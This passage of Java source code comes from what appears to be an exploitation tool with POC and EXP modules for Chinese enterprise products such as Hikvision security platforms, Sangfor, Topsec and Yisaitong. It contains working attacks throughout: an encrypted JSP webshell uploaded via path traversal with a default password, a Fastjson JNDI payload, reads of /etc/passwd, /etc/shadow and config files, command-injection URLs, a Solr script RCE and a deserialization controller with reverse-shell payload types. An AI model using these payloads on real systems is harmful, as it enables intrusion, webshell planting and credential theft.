33 | WriteLog("\n[*] 不存在漏洞");
34 | }
35 | case EXP:
36 | String payload = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";
37 | data =data.replace("filename",randomStr);
38 | data =data.replace("Yep!",payload);
39 | HttpRequest httpRequest1 = new HttpRequest(target+url);
40 | httpRequest1.addHeaders("Content-Type","multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a");
41 | Response result1 = httpRequest1.Post(data);
42 | if (result1.statusCode==200 && result1.responseBody.contains(randomStr)){
43 | WriteLog("\n[*] 存在漏洞");
44 | WriteLog("\n[*] 访问地址:"+target+"/lm/"+randomStr+";.css");
45 | WriteLog("\n[*] 默认连接密码rebeyond");
46 | }else {
47 | WriteLog("\n[*] 不存在漏洞");
48 | }
49 | }
50 | }
51 |
52 | @VulnerabilityDescriptionMapping(Description = "海康威视综合安防 lm 文件读取漏洞",SupportVulType = SupportVul.信息泄露)
53 | public void vul_lm_Readfile(Poc_Exp type, String target, Object... args) throws MalformedURLException {
54 | WriteLog("\n[*]开始检测: 海康威视综合安防 lm 文件读取漏洞");
55 | String url = "/lm/api/files;.css?link=/etc/passwd";
56 | switch (type){
57 | case POC:
58 | HttpRequest httpRequest = new HttpRequest(target+url);
59 | Response result = httpRequest.Get("");
60 | if (result.statusCode==200 && result.responseBody.contains("root")){
61 | WriteLog("\n[*] 存在漏洞");
62 | WriteLog("\n[*] 访问地址:"+target+"/lm/api/files;.css?link=/etc/passwd");
63 | }else {
64 | WriteLog("\n[*] 不存在漏洞");
65 | }
66 | case EXP:
67 | break;
68 | }
69 | }
70 |
71 | @VulnerabilityDescriptionMapping(Description = "海康威视综合安防 center 文件上传漏洞",SupportVulType = SupportVul.UploadFile)
72 | public void vul_center(Poc_Exp type, String target, Object... args) throws MalformedURLException {
73 | WriteLog("\n[*]开始检测: 海康威视综合安防 center 文件上传漏洞");
74 | String randomStr = Utils.getRandomString(4)+".jsp";
75 | String url = "/center/api/files;.html";
76 | String data = "------WebKitFormBoundary9PggsiM755PLa54a\n" +
77 | "Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/filename\"\n" +
78 | "Content-Type: application/zip\n" +
79 | "\n" +
80 | "Yep!\n" +
81 | "------WebKitFormBoundary9PggsiM755PLa54a--";
82 | switch (type){
83 | case POC:
84 | data =data.replace("filename",randomStr);
85 | HttpRequest httpRequest = new HttpRequest(target+url);
86 | httpRequest.addHeaders("Content-Type","multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a");
87 | Response result = httpRequest.Post(data);
88 | if (result.statusCode==200 && result.responseBody.contains("Yep!")){
89 | WriteLog("\n[*] 存在漏洞");
90 | WriteLog("\n[*] 访问地址:"+target+"/portal/ui/login/..;/..;/"+randomStr);
91 | }else {
92 | WriteLog("\n[*] 不存在漏洞");
93 | }
94 | case EXP:
95 | break;
96 | }
97 | }
98 |
99 | @VulnerabilityDescriptionMapping(Description = "海康威视综合安防 report 文件上传漏洞",SupportVulType = SupportVul.UploadFile)
100 | public void vul_report(Poc_Exp type, String target, Object... args) throws MalformedURLException {
101 | WriteLog("\n[*]开始检测: 海康威视综合安防 report 文件上传漏洞");
102 | String randomStr = Utils.getRandomString(4)+".jsp";
103 | String url = "/svm/api/external/report";
104 | String data = "------WebKitFormBoundary9PggsiM755PLa54a\n" +
105 | "Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/eportal/filename\"\n" +
106 | "Content-Type: application/zip\n" +
107 | "\n" +
108 | "Yep!\n" +
109 | "------WebKitFormBoundary9PggsiM755PLa54a--";
110 | switch (type){
111 | case POC:
112 | data =data.replace("filename",randomStr);
113 | HttpRequest httpRequest = new HttpRequest(target+url);
114 | httpRequest.addHeaders("Content-Type","multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a");
115 | Response result = httpRequest.Post(data);
116 | if (result.statusCode==200 && result.responseBody.contains("Yep!")){
117 | WriteLog("\n[*] 存在漏洞");
118 | WriteLog("\n[*] 访问地址:"+target+"/portal/ui/login/..;/..;/"+randomStr);
119 | }else {
120 | WriteLog("\n[*] 不存在漏洞");
121 | }
122 | case EXP:
123 | break;
124 | }
125 | }
126 |
127 | @VulnerabilityDescriptionMapping(Description = "海康威视综合安防 iVMS-8700 Fsatjson 漏洞",SupportVulType = SupportVul.Jndi)
128 | public void vul_Fsatjson_Jndi(Poc_Exp type, String target, Object... args) throws Exception {
129 | WriteLog("\n[*]开始检测: 海康威视综合安防 iVMS-8700 Fsatjson 漏洞");
130 | String url = "/bic/ssoService/v1/applyCT";
131 | String data = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://dnslog\",\"autoCommit\":true},\"hfe4zyyzldp\":\"=\"}";
132 | switch (type){
133 | case POC:
134 | if (Cache.uiController.DNSDomain.getText().equals("")){
135 | WriteLog("\n[*] DNS验证类型漏洞 请配置 DNSLOG 地址");
136 | return;
137 | }else {
138 | DNSLOG.setDomain(Cache.uiController.DNSDomain.getText());
139 | }
140 | String domain = DNSLOG.getRandomDomain();
141 | data = data.replace("dnslog",domain);
142 | HttpRequest httpRequest = new HttpRequest(target+url);
143 | httpRequest.addHeaders("Content-Type","application/json");
144 | httpRequest.Post(data);
145 | WriteLog("\n[*] 请自行判断是否成功。"+domain);
146 | WriteLog("\n[*] 漏洞详情:https://mp.weixin.qq.com/s/CEGjTyhphr2GMuK9zpl5bg");
147 | case EXP:
148 | break;
149 | }
150 | }
151 |
152 | }
153 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/HuaTianController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | @BasicMapping(uri = "华天动力OA")
10 | public class HuaTianController extends Controller implements BasicController{
11 | @VulnerabilityDescriptionMapping(Description="华天动力OA 8000版 workFlowService SQL注入漏洞" ,SupportVulType= SupportVul.SQLInjection)
12 | public void vul_Getfile(Poc_Exp type, String target, Object... args) throws Exception {
13 | WriteLog("\n开始检测: 华天动力OA 8000版 workFlowService SQL注入漏洞");
14 |
15 | switch (type){
16 | case EXP:
17 | break;
18 | case POC:
19 | String data = " \n" +
20 | "getDataListForTree \n" +
21 | "select 'flag'; \n" +
22 | "";
23 | HttpRequest httpRequest = new HttpRequest(target+"/OAapp/bfapp/buffalo/workFlowService");
24 | httpRequest.addHeaders("Content-type"," ");
25 | Response result = httpRequest.Post(data);
26 | if(result.responseBody.contains("flag")&&result.statusCode==200){
27 | WriteLog(" 存在漏洞");
28 | WriteLog(result.responseBody);
29 | }else {
30 | WriteLog(" 不存在漏洞");
31 | }
32 | WriteLog("\n"+result.responseBody);
33 | }
34 | }
35 |
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/JhSoftController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri="金和OA")
12 | public class JhSoftController extends Controller implements BasicController{
13 | public JhSoftController(){}
14 |
15 | @VulnerabilityDescriptionMapping(Description = "金和OA C6 download.jsp 任意文件读取漏洞",SupportVulType = SupportVul.信息泄露)
16 | public void vul_DownLoadFile(Poc_Exp type, String target,Object... args) throws MalformedURLException {
17 | WriteLog("\n开始检测: vul_DownLoadFile");
18 |
19 | switch (type){
20 | case EXP:
21 | break;
22 | case POC:
23 | HttpRequest httpRequest = new HttpRequest(target+"/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config");
24 | String data = "";
25 | Response result = httpRequest.Get(data);
26 | if(result.responseBody.contains("password") && result.statusCode==200){
27 | WriteLog(" 存在漏洞");
28 | }else {
29 | WriteLog(" 不存在漏洞");
30 | }
31 | WriteLog("\n"+result.responseBody);
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/JinShanController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | @BasicMapping(uri = "金山V8")
10 | public class JinShanController extends Controller implements BasicController{
11 | @VulnerabilityDescriptionMapping(Description="金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞" ,SupportVulType= SupportVul.RuntimeExec)
12 | public void vul_pdf_maker(Poc_Exp type, String target, Object... args) throws Exception {
13 | WriteLog("\n[*]开始检测: 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞");
14 |
15 | switch (type){
16 | case EXP:
17 | break;
18 | case POC:
19 | String data = "url=IiB8fCBpcGNvbmZpZyB8fA%3D%3D&fileName=xxx";
20 | HttpRequest httpRequest = new HttpRequest(target+"/inter/pdf_maker.php");
21 | Response result = httpRequest.Post(data);
22 | if(result.responseBody.contains("Windows")&&result.statusCode==200){
23 | WriteLog(" 存在漏洞");
24 | WriteLog(result.responseBody);
25 | }else {
26 | WriteLog(" 不存在漏洞");
27 | }
28 | }
29 | }
30 | @VulnerabilityDescriptionMapping(Description="金山 V8 终端安全系统 downfile.php 任意文件读取漏洞" ,SupportVulType= SupportVul.信息泄露)
31 | public void vul_downfile(Poc_Exp type, String target, Object... args) throws Exception {
32 | WriteLog("\n[*]开始检测: 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞");
33 |
34 | switch (type){
35 | case EXP:
36 | break;
37 | case POC:
38 | HttpRequest httpRequest = new HttpRequest(target+"/htmltopdf/downfile.php?filename=downfile.php");
39 | Response result = httpRequest.Get("");
40 | if(result.responseBody.contains("/var/www/html/cmd.txt\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
15 | switch (type){
16 | case EXP:
17 | break;
18 | case POC:
19 | new HttpRequest(target+"/directdata/direct/router").Post(data);
20 | Response result = new HttpRequest(target+"/cmd.txt").Get("");
21 | if(result.responseBody.length()>0&&result.statusCode==200){
22 | WriteLog("\n[*] 存在漏洞");
23 | WriteLog("访问:"+target +"/cmd.txt");
24 | }else {
25 | WriteLog("\n[*] 不存在漏洞");
26 | }
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/SangForController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri = "深信服")
12 | public class SangForController extends Controller implements BasicController{
13 | @VulnerabilityDescriptionMapping(Description = "深信服 应用交付管理系统 sys_user.conf 账号密码泄漏漏洞",SupportVulType = SupportVul.信息泄露)
14 | public void vul_sys_user信息泄露(Poc_Exp type, String target, Object... args) throws MalformedURLException {
15 | WriteLog("\n[*]开始检测: 深信服 应用交付管理系统 sys_user.conf 账号密码泄漏漏洞");
16 |
17 |
18 | switch (type){
19 | case EXP:
20 | break;
21 | case POC:
22 | HttpRequest httpRequest = new HttpRequest(target+"/tmp/updateme/sinfor/ad/sys/sys_user.conf");
23 | Response result = httpRequest.Get("");
24 | if((result.responseBody.contains("true") || result.responseBody.contains("admin"))&&result.statusCode==200){
25 | WriteLog("\n[*] 存在漏洞");
26 | WriteLog("\n[*]"+result.responseBody);
27 | }else {
28 | WriteLog("\n[*] 不存在漏洞");
29 | }
30 | }
31 |
32 | }
33 | @VulnerabilityDescriptionMapping(Description = "深信服 应用交付报表系统 download.php 任意文件读取漏洞",SupportVulType = SupportVul.信息泄露)
34 | public void vul_download_文件读取(Poc_Exp type, String target, Object... args) throws MalformedURLException {
35 | WriteLog("\n[*]开始检测: 深信服 应用交付报表系统 download.php 任意文件读取漏洞");
36 |
37 |
38 | switch (type){
39 | case EXP:
40 | break;
41 | case POC:
42 | HttpRequest httpRequest = new HttpRequest(target+"/report/download.php?pdf=../../../../../etc/passwd");
43 | Response result = httpRequest.Get("");
44 | if(result.responseBody.contains("root")&&result.statusCode==200){
45 | WriteLog("\n[*] 存在漏洞");
46 | WriteLog("\n[*]"+result.responseBody);
47 | }else {
48 | WriteLog("\n[*] 不存在漏洞");
49 | }
50 | }
51 | }
52 |
53 | @VulnerabilityDescriptionMapping(Description = "深信服 行为感知系统/日志中心 c.php 远程命令执行漏洞",SupportVulType = SupportVul.RuntimeExec)
54 | public void vul_c_命令执行(Poc_Exp type, String target, Object... args) throws MalformedURLException {
55 | WriteLog("\n[*]开始检测: 深信服 行为感知系统/日志中心 c.php 远程命令执行漏洞");
56 |
57 |
58 | switch (type){
59 | case EXP:
60 | break;
61 | case POC:
62 | HttpRequest httpRequest = new HttpRequest(target+"/tool/log/c.php?strip_slashes=system&host=echo%20flag");
63 | Response result = httpRequest.Get("");
64 | if(result.responseBody.contains("flag")&&result.statusCode==200){
65 | WriteLog("\n[*] 存在漏洞");
66 | WriteLog("\n[*]请求地址:"+target+"/tool/log/c.php?strip_slashes=system&host=echo%20flag");
67 | WriteLog("\n"+result.responseBody);
68 | }else {
69 | WriteLog("\n[*] 不存在漏洞");
70 | }
71 | }
72 | }
73 | // @VulnerabilityDescriptionMapping(Description = "深信服 终端检测检测平台 ui/login.php 任意用户登录漏洞",SupportVulType = SupportVul.信息泄露)
74 | // public void vul_loginBypass(Poc_Exp type, String target, Object... args) throws MalformedURLException {
75 | // Cache.uiController.logTextArea.appendText("\n[*]开始检测: 深信服 终端检测检测平台 ui/login.php 任意用户登录漏洞");
76 | //
77 | // switch (type){
78 | // case EXP:
79 | // break;
80 | // case POC:
81 | // HttpRequest httpRequest = new HttpRequest(target+"/ui/login.php?User=admin");
82 | // Response result = httpRequest.Get("");
83 | // if(result.statusCode==200){
84 | // WriteLog("\n[*] 存在漏洞");
85 | // WriteLog("\n[*] 请求地址:"+target+"/ui/login.php?user=admin");
86 | // }else {
87 | // WriteLog("\n[*] 不存在漏洞");
88 | // }
89 | // }
90 | // }
91 |
92 |
93 | }
94 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/SerializedDataController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 |
4 | import com.achuna33.Exceptions.IncorrectParamsException;
5 | import com.achuna33.Exceptions.UnSupportedGadgetTypeException;
6 | import com.achuna33.Exceptions.UnSupportedPayloadTypeException;
7 | import com.achuna33.Gadgets.*;
8 | import com.achuna33.SupportType.GadgetType;
9 | import com.achuna33.SupportType.PayloadType;
10 |
11 | import com.achuna33.Utils.Cache;
12 | import com.achuna33.Utils.Utils;
13 |
14 | public class SerializedDataController {
15 | private GadgetType gadgetType;
16 | private PayloadType payloadType;
17 | private String[] params;
18 |
19 |
20 | public byte[] getResult(String base) throws Exception {
21 | System.out.println("[+] Start create javaSerializedData :" + base + " with javaSerializedData attribute");
22 | Cache.uiController.PublicArea.appendText("\n[+] Start create javaSerializedData :" + base + " with javaSerializedData attribute");
23 |
24 | //这个方法里面有改动,其他基本无改动
25 | byte[] bytes = null;
26 | Object obj = null;
27 | switch (gadgetType){
28 | case urldns:
29 | bytes = URLDNS.getBytes(params[0]);
30 | break;
31 | case commonsbeanutils1:
32 | bytes = CommonsBeanutils1.getBytes(payloadType, params);
33 | break;
34 | case commonsbeanutils2:
35 | bytes = CommonsBeanutils2.getBytes(payloadType, params);
36 | break;
37 | case commonscollectionsk1:
38 | bytes = CommonsCollectionsK1.getBytes(payloadType, params);
39 | break;
40 | case commonscollectionsk2:
41 | bytes = CommonsCollectionsK2.getBytes(payloadType, params);
42 | break;
43 | case jdk7u21:
44 | bytes = Jdk7u21.getBytes(payloadType, params);
45 | break;
46 | case jre8u20:
47 | bytes = Jre8u20.getBytes(payloadType, params);
48 | break;
49 | case c3p0:
50 | bytes = C3P0.getBytes(payloadType, params);
51 | break;
52 | }
53 | return bytes;
54 | }
55 |
56 |
57 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
58 | try{
59 | int firstIndex = base.indexOf("/");
60 | int secondIndex = base.indexOf("/", firstIndex + 1);
61 | try{
62 | gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
63 | System.out.println("[+] GaddgetType: " + gadgetType);
64 | Cache.uiController.PublicArea.appendText("\n[+] GaddgetType: " + gadgetType);
65 | }catch(IllegalArgumentException e){
66 | throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex));
67 | }
68 |
69 | if(gadgetType == GadgetType.urldns){
70 | String url = "http://" + base.substring(base.lastIndexOf("/") + 1);
71 | System.out.println("[+] URL: " + url);
72 | Cache.uiController.PublicArea.appendText("\n[+] URL: " + url);
73 |
74 | params = new String[]{url};
75 | return;
76 | }
77 |
78 | int thirdIndex = base.indexOf("/", secondIndex + 1);
79 | if(thirdIndex < 0) thirdIndex = base.length();
80 | try{
81 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
82 | System.out.println("[+] PayloadType: " + payloadType);
83 | Cache.uiController.PublicArea.appendText("\n[+] PayloadType: " + payloadType);
84 |
85 | }catch (IllegalArgumentException e){
86 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
87 | }
88 |
89 | switch(payloadType){
90 | case dnslog:
91 | String url = base.substring(base.lastIndexOf("/") + 1);
92 | System.out.println("[+] URL: " + url);
93 | Cache.uiController.PublicArea.appendText("\n[+] URL: " + url);
94 |
95 | params = new String[]{url};
96 | break;
97 | case command:
98 | String cmd = Utils.getCmdFromBase(base);
99 | System.out.println("[+] Command: " + cmd);
100 | Cache.uiController.PublicArea.appendText("\n[+] Command: " + cmd);
101 |
102 | params = new String[]{cmd};
103 | break;
104 | case reverseshell:
105 | String[] results = Utils.getIPAndPortFromBase(base);
106 | System.out.println("[+] IP: " + results[0]);
107 | System.out.println("[+] Port: " + results[1]);
108 | Cache.uiController.PublicArea.appendText("\n[+] IP: " + results[0]);
109 | Cache.uiController.PublicArea.appendText("\n[+] Port: " + results[1]);
110 |
111 | params = results;
112 | break;
113 | case putfile:
114 | //文件中‘/’ 用 _] 替换 ‘+’用
115 | String[] result = Utils.getPathAndContent(base);
116 | System.out.println("[+] Path:" + result[0]);
117 | System.out.println("[+] Content:" + result[1]);
118 | Cache.uiController.PublicArea.appendText("\n[+] Path:" + result[0]);
119 | Cache.uiController.PublicArea.appendText("\n[+] Content:" + result[1]);
120 | params = result;
121 | break;
122 | case commandecho:
123 | //文件中‘/’ 用 _] 替换 ‘+’用
124 | String[] commandechoResult = Utils.getcommandechoArgs(base);
125 | System.out.println("[+] uri:" + commandechoResult[0]);
126 | System.out.println("[+] cmd:" + commandechoResult[1]);
127 | Cache.uiController.PublicArea.appendText("\n[+] uri:" + commandechoResult[0]);
128 | Cache.uiController.PublicArea.appendText("\n[+] cmd:" + commandechoResult[1]);
129 |
130 | params = commandechoResult;
131 | break;
132 | }
133 |
134 | }catch(Exception e){
135 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
136 | if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;
137 |
138 | throw new IncorrectParamsException("Incorrect params: " + base);
139 | }
140 | }
141 | }
142 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/TRXController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri = "天融信")
12 | public class TRXController extends Controller implements BasicController{
13 | @VulnerabilityDescriptionMapping(Description = "天融信 上网行为管理系统 static_convert.php 远程命令执行漏洞",SupportVulType = SupportVul.RuntimeExec)
14 | public void vul_c_命令执行(Poc_Exp type, String target, Object... args) throws MalformedURLException {
15 | WriteLog("\n开始检测: vul_c_命令执行");
16 |
17 |
18 | switch (type){
19 | case EXP:
20 | break;
21 | case POC:
22 | HttpRequest httpRequest = new HttpRequest(target+"/view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27testasdtest%27%20%3E%3E%20/var/www/html/config_application.txt%0a");
23 | Response result = httpRequest.Get("");
24 | HttpRequest httpRequest1 = new HttpRequest(target+"/config_application.txt");
25 | Response result1 = httpRequest1.Get("");
26 |
27 | if(result1.responseBody.contains("testasdtest")&&result1.statusCode==200){
28 | WriteLog("\n 存在漏洞");
29 | WriteLog("\n请求地址:"+target+"/view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27testasdtest%27%20%3E%3E%20/var/www/html/config_application.txt%0a");
30 | WriteLog("\n"+result1.responseBody);
31 | }else {
32 | WriteLog("\n 不存在漏洞");
33 | }
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/VulnerabilityDescriptionMapping.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.SupportVul;
4 |
5 | import java.lang.annotation.ElementType;
6 | import java.lang.annotation.Retention;
7 | import java.lang.annotation.RetentionPolicy;
8 | import java.lang.annotation.Target;
9 |
10 | @Retention(RetentionPolicy.RUNTIME)
11 | @Target(ElementType.METHOD)
12 | public @interface VulnerabilityDescriptionMapping {
13 | String Description();
14 | SupportVul SupportVulType();
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/XYController.java:
--------------------------------------------------------------------------------
1 |
2 | package com.achuna33.Controllers;
3 |
4 | import com.achuna33.SupportType.Poc_Exp;
5 | import com.achuna33.SupportType.SupportVul;
6 | import com.achuna33.Utils.Cache;
7 | import com.achuna33.Utils.HttpRequest;
8 | import com.achuna33.Utils.Response;
9 |
10 | import java.net.MalformedURLException;
11 |
12 | @BasicMapping(uri = "小鱼")
13 | public class XYController extends Controller implements BasicController{
14 | @VulnerabilityDescriptionMapping(Description = "小鱼互联 任意文件读取",SupportVulType = SupportVul.信息泄露)
15 | public void vul_read(Poc_Exp type, String target, Object... args) throws MalformedURLException {
16 | WriteLog("\n开始检测: vul_read_任意文件读取");
17 |
18 |
19 | switch (type){
20 | case EXP:
21 | break;
22 | case POC:
23 | HttpRequest httpRequest = new HttpRequest(target+"/download.action");
24 | String data = "filename=../../../../../../../../../../../etc/././shadow";
25 | Response result = httpRequest.Post(data);
26 |
27 |
28 | if(result.responseBody.contains("root")&&result.statusCode==200){
29 | WriteLog("\n 存在漏洞");
30 | WriteLog("\n请求地址:"+target+"/download.action\r\n");
31 |
32 | }else {
33 | WriteLog("\n 不存在漏洞");
34 | }
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/XinDianController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri = "新点OA")
12 | public class XinDianController extends Controller implements BasicController{
13 | @VulnerabilityDescriptionMapping(Description = "人员列表.xls 信息泄露",SupportVulType = SupportVul.信息泄露)
14 | public void vul_ExcelExport(Poc_Exp type, String target, Object... args) throws MalformedURLException {
15 |
16 | WriteLog("\n[*]开始检测: vul_ExcelExport");
17 |
18 | switch (type){
19 | case EXP:
20 | break;
21 | case POC:
22 | HttpRequest httpRequest = new HttpRequest(target+"/ExcelExport/人员列表.xls");
23 | String data = "";
24 | Response result = httpRequest.Get(data);
25 | if(result.statusCode==200){
26 | WriteLog("\n[*] 存在漏洞");
27 | WriteLog("\n[*] 访问地址:"+target+"/ExcelExport/人员列表.xls" );
28 | }else {
29 | WriteLog("\n[*] 不存在漏洞");
30 | }
31 | //WriteLog("\n"+result.responseBody);
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/YiSaitongController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.io.ByteArrayInputStream;
10 | import java.net.MalformedURLException;
11 | import org.w3c.dom.Document;
12 | import org.w3c.dom.Element;
13 | import org.w3c.dom.Node;
14 | import org.w3c.dom.NodeList;
15 |
16 | import javax.xml.parsers.DocumentBuilder;
17 | import javax.xml.parsers.DocumentBuilderFactory;
18 |
19 |
20 | @BasicMapping(uri = "亿赛通")
21 | public class YiSaitongController extends Controller implements BasicController{
22 | @VulnerabilityDescriptionMapping(Description = "亿赛通电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞",SupportVulType = SupportVul.UploadFile)
23 | public void vul_UploadFile(Poc_Exp type, String target, Object... args) throws MalformedURLException {
24 | WriteLog("\n[*] 开始检测: 亿赛通电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞");
25 | String url = "/CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM";
26 | switch (type){
27 | case POC:
28 | HttpRequest httpRequest = new HttpRequest(target+url);
29 | Response result = httpRequest.Post("Test");
30 | if (result.statusCode == 200){
31 | WriteLog("\n[*] 存在漏洞");
32 | WriteLog("\n[*] 漏洞链接:"+target+"tttT.jsp");
33 | }else {
34 | WriteLog("\n[*] 不存在漏洞");
35 | }
36 | case EXP:
37 | }
38 | }
39 |
40 | @VulnerabilityDescriptionMapping(Description = "亿赛通电子文档安全管理系统 dataimport 命令执行漏洞",SupportVulType = SupportVul.RuntimeExec)
41 | public void vul_dataimport(Poc_Exp type, String target, Object... args) throws MalformedURLException {
42 | WriteLog("\n[*] 开始检测: 亿赛通电子文档安全管理系统 dataimport 命令执行漏洞");
43 | String command = Cache.uiController.exCommandText.getText();
44 | String url = "/solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22"+command+"%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%